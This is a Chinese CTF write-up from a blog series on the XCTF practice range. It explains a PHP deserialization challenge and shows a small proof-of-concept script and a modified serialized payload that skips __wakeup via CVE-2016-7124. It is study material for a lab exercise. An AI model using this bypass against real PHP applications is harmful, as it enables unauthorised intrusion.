关注这个靶场的其它相关笔记:攻防世界(XCTF) —— 靶场笔记合集-CSDN博客
0x01:考点速览
本关考察的是 PHP 反序列化漏洞,过关之前需要先了解以下知识:
-
PHP 反序列化绕过
__wakeup
=> CVE-2016-7124 PHP 反序列化漏洞-
如果序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过
__wakeup
函数。-
注意:通过 GET 传参时,需要使用
%00
截断私有变量。
-
-
0x02:Write UP
访问靶场,页面回显代码如下:
将页面代码复制下来,以方便在本地进行序列化操作:
- // FileName : poc.php
-
- class xctf
- {
- public $flag = '111';
- public function __wakeup()
- {
- exit('bad requests');
- }
- }
-
- $a = new xctf();
- # 对 xctf 对象进行序列化
- print_r(serialize($a)); // 输出:O:3:"xctf":1:{s:3:"flag";s:3:"111";}
通过分析代码,我们发现,当我们传入序列化后的值,会进入 __wakeup()
函数,程序会直接终止执行,并弹出 bad requests 页面:
O:3:"xctf":1:{s:3:"flag";s:3:"111";}
所以我们这里就需要绕过 __wakeup()
方法,此处使用的是 CVE 2016-7124 —— PHP 反序列化漏洞:在序列化后的字符串中使表示对象属性个数的值大于真实的属性个数即可触发该漏洞,绕过__wakeup
方法。
O:3:"xctf":2:{s:3:"flag";s:3:"111";}
评论记录:
回复评论: